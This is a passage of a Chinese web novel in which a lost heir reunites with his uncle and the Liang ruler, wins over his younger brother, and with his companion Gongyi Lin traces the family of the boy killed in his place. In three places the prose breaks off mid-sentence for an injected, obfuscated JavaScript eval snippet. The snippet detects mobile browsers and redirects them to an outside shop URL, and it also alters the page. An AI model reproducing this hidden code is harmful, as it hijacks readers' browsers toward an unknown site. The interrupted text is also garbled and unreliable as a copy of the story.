“怎么会无关,他重要的人都在那边——”公仪林突然住了口,因为他发现王妃的脸色因他这句话变得煞白。 他心乱如麻地干笑一声:“是,世子回家了。” 送走王妃后,公仪林呆坐于抽屉前一动不动。站在门边的阿八很为难,他懂这个年轻人在顾虑什么,只恨没有司子的本领去安慰他,倚在门上轻描淡写地说了句:“陶县尹不是五岁,男儿岂能一辈子都抓着母亲是裙角活着?说句不中听的,梁国是附庸国,在周的掌控和监督之下又能挺立到几时?覆灭之国有几个皇室贵胄能有好下场?” 公仪林看向他时,阿八这情感大师已事不关己的将目光转移至院中的几株樟树上。 138.屋里琳琅满目 是晚,公仪林与萧家父子用过膳后就等着和陶修一同回小院,哪知陶修又被岳阳王留下多说了几句话。公仪林只得先回去,躺在床上辗转反侧,清风送来一阵阵清新的桂香,正熬不住睡的迷糊时,门被轻轻推开。 公仪林一跃而起冲过去,都没看清进来的是谁,毫不犹豫将他抱在怀里。 灯油不知何时烧干了,屋里黑魆魆一片,只有屋外还有点点星光,陶修双臂被他箍住不能动弹,突然玩心骤起,变了副嗓音沉声道:“你抱错了,撒开。” “抱错就抱错吧,我不管了。你何时跟我回去?” 公仪林明显感觉怀中人身体僵了一下,心随之下沉,“你在此不但找回身份,连着发小、伙伴都回来了,才几天就把这里混得透熟,我嫉妒的很呐。” “这几日真的很忙,怠慢了你。” “这是在跟我客气?我们何时走?” “明日萧瑛会来,你我不是一直想见他?还有梁主我也还没去觐见。” “你果真很忙。”公仪林被恐慌支配,口不择言道:“你来之前说见过亲生父母就够了,现在够了没?” “没够。来之前你还劝我认回父母远远不够,要我拿回属于我的东西。”陶修很想戏弄下这个患得患失的人。 公仪林松开怀里的人转身躺回床上,摊开双臂仰望着屋顶,失去平日的冷静和对陶修的无限包容,命令道:“你必须跟我走,不管用什么手段我都得让你跟我回去。” 陶修走近床边,居高临下对他说:“府中为我打扫了一间院子,住在萧蕴旁边,明天我搬过去。” “你,我——”公仪林坐起来一拳砸在床板上,哪知这张给仆从睡的床旧了些,生生把一块床板砸穿露出个碗口大的黑洞。 陶修朝洞口探了下头,终于忍不住笑出声:“槐序啊,别这么严肃,我虽不能告诉你确切的启程日期,但我能明确告诉你,我会回去,我跟你回去,这个够——” 话还没说完,就被公仪林搂了脖子猛拽到床上,迅速翻身压下去,用令人窒息的吻不给他继续说下去,左手则气急败坏地去解他的衣裳。 这换上府里华贵的装束后,公仪林甚至找不准、撕不开陶修衣饰上结实的衿带,胡乱解了几下无果,急切的从一层又一层的衣裾下摸索他的腿、他的腰,直到手心触上他肌肤那一瞬,公仪林才踏实地喘出一口气,吻着他,低语道:“我真他妈的怕啊!” 陶修拥着他回吻过去,攥住他的手商议道:“明日很重要,现在你要做的事就到此为止吧。” “我就不重要?“他很不服气,一把扳回陶修的手臂,含笑朝他额上啄了一下。 “又逼我跟你斗?” “随便,反正你总输。” 花香四溢,夜鸟轻啼,那扇半敞的窗内,两人因一场没商量妥当的趣事在床上撕咬、搏斗,长夜未央,这场仗的输赢已无所谓。 第二日巳时,几名大仆匆匆来小院通报陶修,萧瑛王爷已到府上,请他立即去大厅拜见。 陶修对正在院中练剑的公仪林喊道:“你要见的人来了,速与我同往。” 公仪林收了剑,抹了一把汗,说:“我想见他的兴趣并不大,能被辛师父记挂一辈子的人我倒想见见。”他知道辛南佐始终忘不掉萧瑛必然是因为陶修的缘故,确实想见见此人。 陶修行于前,公仪林落在他身后两至三步的位置,二人信步往大厅走去。进大厅前,他们看见门外的护卫明显比平日多了许多。 萧瑛与岳阳王坐在一起,看见门外走进来几个年轻人立即站起来。他跟家族的所有人一样,一眼就认出走在前面的侄儿萧琢,说不上来他究竟像谁,但毫无疑问就是他死了多年又突然活了并回来的侄儿。 萧瑛在基州听到消息时,脑袋空白了一瞬,像有人跟他开了个天大的玩笑。侄儿出事那年他不到二十岁,一直住在他喜欢的三哥家中,他疼爱侄儿胜过世间一切,他把雕刻玉石的喜好教给侄儿,带他骑马,在城中策马狂奔,带他到江边垂钓,去登最高的山,不知道的人还以为他们是兄弟。 出事那几天,听仆人说世子把自己关在屋里刻章不希望有人打扰,天气炎热,萧瑛简单跟门内的侄儿说了声:“我去绿园凉快几天,回头你想去了就叫人通知我一声,我回来带你。”绿园是位于江边的一座避暑别墅,夏季凉爽怡人,萧瑛常带侄儿去游玩。 萧琢打开门缝露出一颗圆圆的脑袋,仰头说:“五叔你去吧,雕好这个小的,我再给你雕个大的。” “好,三日后我就回来看你的成果。” 三日没到他就回来了,萧琢失踪的消息满城皆知,人心惶惶。萧瑛带一支人马全城搜索,七月六日那晚,他不忍再听嫂子的哀嚎声准备上马再出去寻找时,突然有人通报,大门外被人扔了一只麻袋,血水流了一地。 萧瑛目光一沉,当即拔了剑就往大门外走去,脚步越走越沉,走至正门外,在一片烧天的火光中他看见被人围拢在中心的小小的一只麻袋。无人敢上前撕开真相,就连他三哥都像石头杵在麻袋旁一动不动。 萧瑛拍了下萧宸的肩膀,蹲下身喘息一口气,迅速挑开麻袋上的绳子,几日前从门缝里探出的小脑袋骨碌碌滚到他手边。那一刻,他全身的毛孔都扩张开来,头皮发麻,周围火把的温度烤得他浑身流汗,他抱着侄儿的头颅,突然不知道身在何处。 侄儿的遗体是他亲自收殓的,葬在山中的昭明王的衣冠冢旁。这些年,他途径那座山时都会下马看看两座并列在一起的坟。今年的盛夏时节,他再次到坟前看望侄儿,发现坟墓旁长了一株笔直的小松,已经很多年了啊。 萧瑛难以置信地盯着眼前人,感觉这些年就像一场梦,当年身高还不到他腰部的孩子竟长得如此高大,活生生站在眼前,这一幕没有梦境的朦胧,没有回忆的空洞,他真真实实活生生立在他跟前。 “麟儿,还记得我吗?” 陶修的记忆里有萧瑛的影子,仅仅是一道道虚影、模糊的轮廓。刚到江陵那日,公仪林指着雄鸡岩问他是否跟父亲登上去过,他闭目想了许久,他确实登过许多高山,牵着一个人的手站在顶峰眺望浩渺的江水,但那人不是他父亲,而是此刻站在他眼前的萧瑛。 “五叔,我记得你,我的名字是你起的对不对。” “让我好好看看你。”萧瑛喜极而泣,一边绕着陶修上下打量,一边对萧宸道:“三哥,真的是麟儿呀,我没做梦吧?” 方才一进门,公仪林瞬间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13715087|123338||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就明白为何辛南佐能将此人记了十来年。萧家人得天独厚个个姿容昳丽,萧瑛在众人之中更出类拔萃,他身形挺拔高大,星眸剑眉,疏密适中的髭须更添几分淡定风雅,走路时环佩叮当,吴带当风,当真是仙山薄雾中才能走出来的人物,更不说十几年前辛南佐眼中那位年华正当的少年萧瑛。 公仪林为这对叔侄的重聚正感慨,肩头忽被人轻拍一下,他转过身去,惊喜地发现了一个熟人。 “公仪公子,居然还有再见的一天,也没想到陈使竟然是你。” “萧颐?幸会幸会!”公仪林忙施礼,像很熟的朋友一般,贴近了低语道:“刚到这里我就在想,此处唯一的熟人就是你了,就是不知你还在不在江陵,也不敢向旁人打听。” 萧颐神色黯然一分,悄声道:“圣上仁德,并未因那件事降罪于旁人。我现在跟着五叔住在基州,几日前听说萧琢堂兄的事连夜赶了回来。这究竟是怎么回事,堂兄他竟然能出现在陈国,如此离奇?” 待那对叔侄相认后,公仪林又与萧瑛客气的恭维几句,而后各人落座。这一落座不要紧,公仪林望着满屋子的人突然想起一个典故,说昔日的晋国重臣王导王家人才辈出,有一天有一人到王家做客,看见两间屋子里坐满了琳琅闪耀的王家子弟,那客人的视角大抵就是现在公仪林看见的情形吧。 萧宸和王妃分左右坐于上座,萧蕴、萧颐年纪相仿坐在一起,萧琢和萧瑛还拉着手一刻不肯分开,这屋子果然琳琅满目。 萧瑛必然再问起陶修的经历,陶修把过去直至现在的往事用三言两语就概括了去,讲时神情淡淡,就像不渴时还必须喝碗温水,省去许多不必要提起的辛酸,但听的人还是紧锁眉头认真感受他不幸的经历。 萧瑛听他简单的讲述后遗憾道:“我去城外搜寻时曾路过那座漏顶的破庙,谁又能知道你当时就在里面。” “或许已经不在了,我记不清在庙里待了多久就被丢上一辆颠簸的牛车。” 萧瑛道:“你一直在说掳走你的是个人贩拐子,是否看见他的样貌?他绝不是人贩,不惜杀掉一个无辜的小孩做伪装就已说明他并不是真正要贩卖小孩,他的目标就是你,他是受命于人。” 公仪林立即看向萧王妃。 萧王妃欲言又止,忍了许久还是开口问:“麟儿,你已回到家中,不必畏首畏尾,若有为难的事或是想报的仇尽可跟我们讲。” 陶修已听公仪林提到昨日说漏嘴的事,知道她指的是辛南佐,坚决地否认道:“他就是一个普通的拐子,我听见他们在谈价钱。” 萧蕴故意问:“他们怎么谈?一个世子值多少钱?” 这人又在挖苦陶修,陶修却毫不在意地回道:“三只羊,到吴郡后涨价到四只。” 公仪林侧首看了他一眼,心里不是个滋味。 不知是真的感到新奇还是想嘲讽一下兄长,萧蕴大笑一声,“三只羊?奔波千里就涨了一只的价格?” 萧宸大喝一声:“兕儿,你再不知好歹,我——” 萧蕴愤怒地盯着陶修,冷笑一声:“他是故意的,故意说这些趣事对我下套,你们这不就上当了?” “只有小公子你觉得这是趣事。”公仪林又想捶他了。 139.你真不该回来 萧瑛冷冷朝他瞥去一眼,那小子立即像只漏气的羊皮筏子瘪下去,端起茶仰头一口闷掉。 萧瑛继续说:“此事绝不是你想的这么简单。若你没有出现,确实像一件普通的拐卖孩童的案子,但你回来了,不但出现在陈国,还牵出凶手用假尸体蒙混视听的行为,这便不是简单的拐卖,凶手是有目的有计划的刺杀,表面冲着一个五岁小儿,其实他的目的……”他看了一眼萧宸,没有直接说出来。 萧宸知道萧瑛要说什么,脸上依旧云淡风轻,笑了一声:“五弟可能多虑了。这几天我还在想着另外一件事。” “何事?”萧王妃问。 “代替麟儿受死的那个孩子,不知他又是哪家的心头肉,这么多年恐怕家人都将他遗忘了。” 陶修开口道:“父亲,此事查起来也简单,能否将这件事交给我来做,就当我要还那孩子的救命大恩。” “好,这件事就交给你了,替他找回家人吧。” 正午刚过,岳阳王就携陶修进宫面圣。 公仪林终于见到传闻中困于一隅的梁主。 本该是这个国家权力最高、身份最为显耀的男人,却成了公仪林所见过的形象与其身份反差最大的人,他面容憔悴,黄干黑瘦,毫无生气地坐在朱红色的大宝座上,他正襟危坐暮气沉沉,那具活着的躯体上已看到日薄西山的苍凉感,似乎把对整个家国的忧虑都担在肩膀上,在看见陶修那一瞬间,他的背又直了直,双目露出短暂的神采,伸出手臂招陶修上前。 梁主站起来,并不矮小的身材在陶修的映衬下却显佝偻,他捧着十几年前若是没有那场意外就将一切权利都赋予他的人的脸,错过了,眼前人必须错过。 “你回来了,我以为再也见不到你,你竟然回来了。”他的声音和外表看见的模样很般配,冷漠而干枯。 大殿外初秋的阳光明媚温暖,陶修只觉得梁主抚上脸颊的双手冰凉。他拿下梁主的左手焐在掌心,点头道:“陛下,你的手很凉。” 梁主哑声道:“其实你不该回来。” 陶修没听明白,隐隐猜到他话中的意思,是不想他回来再搅乱本已寂静下来的萧家。陶修沉默着没有说话。 “这都过去十六年还是十七年了?一切都没有变,还是老样子,还是没有希望的样子。” 众人不知梁主说的是什么,像绝望后的呓语,像垂死中的挣扎。 他搀着陶修的手走出殿外,走下丹墀,伸开双臂舒展了一下身姿,笑对众人说:“外面确实暖和很多。” 梁主随口问了几件关于陶修这些年的生活经历,并承诺他的世子之位不变,要他多到宫中走动走动,“你看这王宫人来人往,一到晚上就清冷的可怕,多来看看我,你们身上的新鲜气会令我开心。” 很久之后,梁主才把深沉的目光落在公仪林身上,长久的凝视中似乎有不少想问的话,最后却问了句不痛不痒的:“听闻你们国主很爱搜罗民间的故事?” 公仪林道:“我们圣上是关心国计民生。” “南徐州刺史还是卢思苌?他今年多大了,有没有六十?” 公仪林迅速在脑中搜索梁主提起卢将军的原因,三十年前,梁国的萧氏被迫从建康逃出来在江陵建国时,卢思苌跟在恩师吴将军后面因此立下赫赫功勋,那时还身为梁国护国将军的梁主和卢思苌在战场上两次兵戎相见,他皆败在了骁勇善战的卢思苌手中。 “卢将军年近六十。” 梁主呵呵笑了几声,“要是三十年前,他的勇武或许还能力挽波澜,而今你陈国还有几个能拿出手的大将?” “京口卢思苌、历阳鲁云渊、江州杨原祁、郢州——”说到此,他迅速避开萧钰的名字调转话锋,不留任何间隙继续说:“都是身经百战赤胆忠心的老将,陛下为何轻视大陈无人才呢?” “但愿他们的本领都能在战场上发挥出来。” 陶修陪着梁主在花园里慢慢踱步,梁主跟他讲了几件他幼时在王宫玩耍的事情,陶修虽已不记得,还是陪着这个大伯父笑了一阵。 梁主突然驻足转身看向陶修,问他:“你五岁时跟我说过一句话,言犹在耳,你猜你当时说了什么?” 那是十六年前一个明媚的春日,也在这个御花园里,梁主在一张洁白的纸上写了个大大的“江”字,墨迹未干,萧琢便用笔写下另外一字——陵,他举起很快就被柔风吹干的两字问梁主:“建康是旧都,我们何时回去?” 明亮的春日下,梁主的神色也很黯然,他反问萧琢:“你想回去吗?” “我不知道,我生下就在江陵,若陛下愿意,等我长大就带你回去。” 梁主冰冷又沧桑的声音在陶修耳边响起,“你觉得谁能带我们回去?” 陶修瞬间清醒,垂下眼眸什么也没答。 梁主精神很差,和陶修只聊了一盏茶时间就说累了,众人很快离开了王宫。 要查出当年被辛南佐杀死的孩子的身份其实很简单,除非那个孩子是流浪街头的孤儿。陶修利用“萧琢”的身份先是去两个京畿县衙找那年所有失踪孩童的卷宗,没有意外,他在永熙八年的六份幼童失踪案卷中,居然找到两份同时发生在夏季的卷宗,一份是六月底报的案,一份是七月初四留的底。 这几份十多年前的老旧文件被从墙角灰尘里扒拉出来,纸张上的字迹险些看不清,陶修和公仪林拿到屋外光亮处研究好一番功夫,终于誊抄下住址,他们片刻没有耽搁,立即按住址寻过去。 先去的是六月底失踪的孩子家中,出发时公仪林对陶修说:“案卷上记录这个孩子十岁,年纪和身形明显与五岁时的你不符,我觉得这个可以排除,直接去下一家。” 陶修道:“堆在墙角的案子都是不了了之的,我虽没有时间细查这宗陈年旧案,了解一下经过,若遇到需要帮助的尽我所能。” “行啊,我倒更好奇另外一个孩子。” 跟在他们身后的还有胡峤和阿八,二人刀剑不离身,当他们四人出现在外城一户较为平常的农户家门前时,竹篱院里正吃饭的一家六口人被吓得桌翻碗落,男主人展开双臂护住妻儿,惊恐地问:“你们做什么?” 陶修安抚他们并说明来意,这个四十多岁的男人听后惊诧地说:“失踪的孩子是我儿子,我们早就找到他了。” “找到了?” “找到时他已经死了。说来也巧,他和当时弄的满城 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13721073|123338||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 风雨的失踪世子一样,同一天以同一种方式被装在麻袋里丢在家门口,诺,就是他现在站的位置。” 他指着公仪林脚下的黑泥地,脸上已没有提起亡儿的悲哀,就像在说一件稀松平常的事。 公仪林忙跨开几步,盯着那块地问:“也装在麻袋里?是什么死因?是否找仵作验过?” “验了,仵作说是淹死的,但他们抽不出精力查他为何会被装在麻袋里扔回来。” “失踪几日?” “大概十天左右。” “有没有其他的伤?” “身上有刀伤,但不致命。” 公仪林又问:“他当时是几岁?” “十岁多一点。” 听到那孩子是被淹死时,陶修就有了一种猜想,那孩子应该是死于师父辛南佐之手。辛南佐曾说过,他杀萧琢时很震惊要杀的目标居然是个五岁多的孩子,那么,在杀萧琢之前就找好的替身显然派不上用场,只能另外再物色一个身形相近的孩子。这也说明辛南佐当时并不打算真的杀死萧琢,或者,他也想留有一手。 陶修问了这户男子现在以何为生,男主人回答靠种地和编席养活全家老小。这间竹篱的院子有玉河村老房子的影子,清贫朴素,老老实实的农户人家,陶修绕着院子转上半圈又确认一遍男主人的名字后就走了。 天色渐晚,再去另一户人家已来不及,众人打道回府,待他们到王府大门前下马,却见萧蕴和萧颐二人突然从门内走出来。 萧蕴依旧鞭不离手,来者不善的模样径直走向陶修,开口问:“你去哪了?” 陶修温和地回他:“外城的孙家,查了下当年旧案?” “才多久,你就成了大忙人,把此城摸的一清二楚,你果然是地地道道的江陵人氏。” 公仪林哼一声朝着他:“我说小公子,你说话能不能别酸不拉几的。你想做什么就直说,拿鞭子做什么,要我抽你?” “我没跟你说话。”萧蕴又转向陶修,语气竟软和又顺服,“明日还出不出去?” 陶修立即明白他的意思,笑着邀请他:“还要出去。我们对此城不熟,今日摸去孙家的路上问了不少人,明日要去一个叫‘平湖坊’的地方,正愁无人引路,小公子若能找个人为我们带路就再好不过了。” 萧蕴状若思考,抬头对陶修说:“反正我闲着无事,明日我带你们去。” “小公子怎么就改了肠,是不是见我们办正事把你给急到了?” 陶修伸手阻止公仪林:“你别和他斗嘴。”又转向萧蕴:“多谢小公子,明日省我们多少口舌。” 萧颐也笑着凑过来:“我也跟你们玩玩去。” 像是被萧颐捅穿了心里想法,萧蕴一把捂住他的嘴喝道:“我不是去玩。” 陶修拿下萧蕴抓狂的手握在两手间,用一个长兄特有的大度、宽和的心胸对他说:“兕儿,我们去半亩林聊聊,如何?” 萧蕴干脆地抽出手,整条手臂僵硬地垂在身侧,一壁往门内走一壁说:“我喝不了酒,只有茶。” “好啊,我也喜欢茶。” 公仪林见兄弟二人难得的和谐,不便掺和进去,遂跟萧颐外出吃酒去。 140.我不会同情你 风炉上的小铁锅轻烟四散,茶香逐渐溢出,萧蕴轻搅小铁锅里的香茶问坐对面的陶修:“会煮吗?” “太讲究细致了,我不会,我喝茶常用碗,有时候茶叶会泡上两天才想起来倒掉。” “你也不用在我面前说你过的有多苦,活的多粗糙,我不会同情你。” 就萧蕴这态度,出在任何一个高门子弟的身上,陶修都会觉得自己受了轻视和侮辱,再伪装出一副清高模样不与他们为伍,但换成萧蕴,一切就不同了,相通的血脉自然而然就令他不惧眼前这年轻人,无论他如何冷峻淡漠或跋扈猖狂,他都有压他一头的自信,或者说,他更愿意包容他。 “我不需要你同情,你的同情对我也没用。兕儿,我们能不能亲切一点、友好一点过了这段时间?” “这些年我没有兄弟没有姐妹,父王母后只有我这一个儿子,你也别误会,我并不在意你回来跟我争宠,那种事幼稚也可笑,我想说的是,即便你回来了,我们也不能像亲兄弟那般亲密无间。” “无论你说什么,我都是你哥。” 萧蕴往他杯中舀了一杯滚茶,还体贴地扬几下冷却它,他并不气陶修这句较为强硬的回答,反而有种异样的感觉,像是左脸挨了火烤右脸则被冰冻,若能中和一下,便如沐春风。 “品品看。母后喜欢我煮的茶,其实喝着都一样,可能她是喜欢我坐在身边没离开她眼前的踏实感。你可能不知道,母后偶尔会……” 陶修望着他。 萧蕴道:“当年那颗断掉的头颅给母后很大刺激,她有时会神智混乱。你回来这些天,我从她身上看到一些癔症,这么告诉你吧,你要么当自己死了不该回来,要么就别想着走。” “母亲她没有异常。” “我比你了解她。” “她最严重的时候什么样?” 萧蕴不知自己为何要跟他说这些,一面想他心中有愧,一面要拿母亲恐吓他,却又不知自己想达到哪种目的,见他满脸忧虑的模样确实痛快不少。 陶修久久凝视着他,想把陌生却也亲切的兄弟看个干干净净,盯的萧蕴左右躲藏目光,连喝两杯茶,他说:“先丢开母亲不谈,你肯不肯认我这个兄弟?从我知道还有个兄弟那刻起我就想见你,那种感觉与小舒不同,想到远隔千里的地方还有个与我流着一样血的人,我很开心,不再觉得自己是孤苦之人,无论你对我是何种感情,我都当你是兄弟。” 哪知萧蕴的关注点并不在他这几句掏心的话上,另辟蹊径地问:“小舒?你妹?” “是我在吴郡的小妹,曾经我与她相依为命。” “哼——”萧蕴从鼻腔发出不屑声,装作毫不关心陶修在那边生活得如何的模样。片刻之后,两人再讲不出其他的话,尴尬和拘束便汹涌而来,萧蕴侧着头不停挠着鬓角,灵光一闪,突然问:“听说你打仗厉害,身手不错,厉害到哪种程度?” 陶修见他终于开始好奇自己的事情,心情很愉悦,一点都不谦虚地说:“除了你手中的鞭子我甩的不怎么样,其他兵器都能露两手你瞧瞧。”心中暗想:当兄长的在弟弟面前一定都会这样吹牛,绝对是的。 萧蕴当场就要验证他的本领,抬头指着东南角一棵参天杉树说:“射它!” 此时天色暗淡,暮色下压,那棵杉树不知在府里还是府外,高高的树端有只鸟窝,黑魆魆一团,正思量这段距离,听见萧蕴说:“早听闻你心善不愿打鸟,我盯了它几天了,空的,射下来我才服你。” “不打鸟?”陶修暗嘲了两声,这些年为了生存,打下的鸟恐怕无人能及,“取弓来。” 递到他手里的是公仪林所赠的弓箭,陶修顺便替那小子美言几句:“公仪林他,其实那人挺有雅量,虽然说话无所顾忌、谁也不怕,等你熟悉他后就会发现这人挺好相处。” “区区一个陈使,为何替他说话,我对你还满心不顺就替人说起情来了。快射。” 这段距离确实挺远,鸟窝的位置又极高,陶修没有把握射中它,但不想吹出去的牛皮有漏气的风险,这一箭竟比在兵营竞赛时给他的压力还大。 萧蕴继续道:“天色也暗了,给你三次机会。” 陶修走至半亩林中央,回首对他笑了一下:“看好了。”说完立即跨出半步拉弓放箭,半分耽搁都没有就将凌厉的一箭射出,那箭迅如闪电破空而出,力道强劲,一蹴而就,霎时就没入杉树的阴影中,但鸟巢一动不动。当然也不能指望鸟巢就这样动起来,是对搭此窝的鸟的不尊重。 “我没看清,明日我叫人去查看。” “不是还有两次机会?” 第二支箭和前一支一样精准,待到第三支也射出后,忽见枝丫间的窝巢摇摇晃晃从高处坠下,那道直坠的黑影落在萧蕴惊讶、崇拜的眼眸中,他脸上渐渐绽出欣喜之色,兴奋当中一把拉起陶修的手腕往外拽:“我们去找,快。” 早知道三支箭就能令这个兄弟接纳并崇拜自己,哪里要等到这么久才显摆本领,萧蕴握在他腕上的手有力有温度,一道暖流从手臂传到心里,陶修任由他这么拽着,跟着他跑出半亩林,跑出角门,跑到十六年前出事的那片松柏林。 到了松柏林,萧蕴平静地松开手,双手撑着腿喘息道:“找到杉树就行,就在前面,你去找。” “那你在此等我。” 萧蕴慢慢跟在陶修身后,紧盯着走在前面修长笔直的身影。右手紧紧攥在一起,方才他就用这只手抓了陶修,掌心的汗还未干,握了片刻又摊开手掌放在眼前,步伐缓缓慢下,心跳却快了许多。 在陶修刚驻足时,后面的萧蕴跟着停下脚步,朦胧且有所收敛的声音从他口中发出:“哥哥,找到了没?” 这声阔别十几年的称呼穿透厚重的夜幕直击陶修的心脏,他僵了一瞬,弯腰捡起脚下硕大的鸟窝转身笑说:“找到了。” 陶修捧着还插了两支箭的鸟窝走到萧蕴跟前,什么都没说。昏暗的光线浅浅掩盖两人脸上不自然的表情,却在这层暮色的遮掩下实实在在找回了曾经失去的东西。 “里面果然没有鸟,我们这行为不算坏。” “嗯,我观察过才敢让你下手。”萧蕴的态度僵硬不自然,接过鸟窝抱在怀里立即转身回去,嘴角漾出得意的笑意。 两人一前一后跨进角门,分开时萧蕴问:“哥,你和我一起陪父王母后吃晚膳吧?” 这几天陪岳阳王、王妃用饭时,兄弟二人坚持着有我没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13725350|123338||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你,有你没我,不肯同席而坐。陶修受宠若惊欣然答应。 这顿饭,一家四口吃的是泪流满面百感交集。 吃过晚膳回到住处的陶修神采奕奕精力充沛,右手托腮,左手拿书,心思早已飞在九霄云外,把萧蕴今日的每个动作每句话都拆开糅合再拆解开,好似还能从中挖出他当时没能及时领悟的另一层意思。 “你到底在笑什么?”公仪林撑在书案对面压下陶修手中的书,眯眼瞧着他的异常举动,“从回来就神神道道,你说说我都问了几遍?” “没甚大事,就是兕儿今日——”他忍不住又笑了,“他今日叫了声‘哥’,我正在想他何时对我改了观。” “噫,就这个令你笑了一晚上?”公仪林替这对兄弟关系的缓和高兴,但心里挺不得劲,总觉得陶修这人让萧蕴给分走了一半。 公仪林盘腿坐下,拿过一张纸用提笔写字的行为掩盖他要问出的幼稚问题:“康乐,我问你啊,如实回答不能哄我。”在纸上写下笔画粗深的“不悦”二字,接着问:“我和萧蕴谁重要?” 果然幼稚的问题,陶修没想到他能将如此幼稚、好玩又不符他身份的话问出口,吃惊地望着他,动动嘴刚要说话,门外突然传来声音:“哥哥,深夜过来,不知你……” 萧蕴站在门外,倏地止步,指着公仪林问:“你为何会在这里?” 公仪林见他已换上就寝的薄衫,左手拎一枕头,立即猜到他来此的目的,趾高气昂道:“这段时间我一直住在这里。” 萧蕴不动声色往背后藏起枕头,迈过门槛冷笑道:“怠慢了,陈使来了多日竟无自己的房间,明日我就找管事的麻烦去。” “王府照顾周到,我的房间就在隔壁院,只是我这人有个毛病,必须和同郡同县同口音且一起长大的人睡一起方能睡得安稳。”这句话多猖狂,不但表明他和陶修来自同一地方,还是从小一块长大的,而你萧蕴却是半途杀出的陌生小子。 萧蕴瞄了眼墙角仆从的床,被褥齐整,嗤了一声:“年纪轻轻毛病真多,我不信你能和这样的人睡一辈子,离了他你就不睡了?” 陶修:“……这,其实……”怕他们再斗下去,转移话题问:“兕儿快坐,你这会来找我有什么事?” “就过来看看你睡了没。我,我就先回去了。”他一步步退出房间。 “萧兕,”公仪林高声道:“你背后拿的什么?” 萧蕴夺门而出,公仪林伸长头喊道:“回来回来,你们兄弟多年不见才相认,想跟你哥睡又不丢人。” 萧蕴气急败坏的一声吼在漆黑安静的院中炸开:“你再胡说八道我一定让你知道什么是残忍。” 直到那句威胁的尾声彻底消失,陶修才转头问:“他手里拿了什么?” “一个枕头。” “一个枕头?” “萧蕴这小子就是嘴硬了点,看得出来他对你很好奇,也想亲近你。” “被人发现想与我走近就这样不自在,还是抹不开面子,给他时间吧,任谁都无法在几天之内完全去接受一个突然冒出来的兄长。” 公仪林没吭声,擅自吹了灯就跳上陶修的床,拍拍身侧的位置强硬道:“快睡了,快睡。” 141.当年死的小孩 清早出发时,公仪林把昨晚一起喝酒喝大发的阿八留在府中,阿八捂着宿醉沉痛的头还要逞强:“公子不带上我,万一出事了怎么办?” “你少胡说。看来你饮不惯此地的烈酒,下次别喝了,回去躺着吧。” 正说着,萧蕴从他们身后走出来,毫不客气地嘲笑二人:“你们只适合喝江南的甜糯酒啊,我记下了,晚上就为二人备上。” 公仪林无意与他打嘴仗,轻蔑地扫去一眼,目光不由得落在他那一身特别的衣裳上面。衣裳形制是普通束袖直裾,但颜色却十分少见,整件衣服红白双色左右均分,左边的红色耀目如火,右边的白色在其对比下更显清冷无瑕,这件衣裳乍一看就像萧蕴用身体变的。公仪林笑问:“小公子挺积极,可以出发了?” “等了多时了。他呢?” “ 哪个他?无名无姓还是无称呼?” 萧蕴正打算怼回去,忽见陶修从院门走出来,眉眼立时一亮,脸上却露出等候多时极不耐烦的表情:“众人都在等你,做什么这么慢?” 陶修歉疚道:“清早起来愣是想不起把宁家的住址放在何处了,方才找了片刻。” “就是你要去的宁家?” 不等陶修回答,就听一旁公仪林不怀好意地笑问:“在哪找到了?” 这人是明知故问,别人听不出话中的意思,陶修却知道他那一肚子坏水。昨夜他执意要独自睡一张床避人耳目,奈何公仪林是迎难而上、越挫越勇的性子,硬是和他来了场“生死搏斗”,搞不赢他决不罢休,写了宁家住址的纸条从陶修被撕扯开的衣裳里跳出来不知去向。 陶修耳尖就像着了火似的烫,瞅他一眼,平静地答道:“在床底。”顺手将纸条交给萧蕴,让他找个熟悉此地的人带路。 几个人都跳上早已备好的骏马,不疾不徐找去宁家。 按卷宗上记录,宁家是开粮店为营生的家境较为殷实的人家,但他们勒马停在宁家门前时以为寻错了地方。 从倒塌一半的院墙看进去,几间大屋的屋顶因年深日久早已损坏,褪色的板门紧闭,窗纸上尽是窟窿,院中两座倾倒的石磨几乎被深埋在杂草中,此座荒芜颓败的人家在这较为热闹的街坊里显得格格不入。 大屋旁伏卧着一间低矮的小茅屋,从内飘出煮饭的袅袅白烟,还算有一丝人气。看外表,这宁家还不如昨日见过的孙家,唯有大屋还能证明宁家从前确实富过。 听见外面马匹嘶鸣,从小屋里走出一个腿脚不便的男人,头发脏乱,衣衫褴褛,吞咽下正吃的一口饭,隔着院墙警惕地盯着来人,左右的街坊邻居也闻声跑出来两人。 如果当年代世子死的孩子就是宁家的人,陶修一瞬间就失去自报家门的勇气,也不敢说明来意,眼前宁家的颓势可能就是因丢失孩子引起的。 “你们是谁?”墙内的男子先开口问。 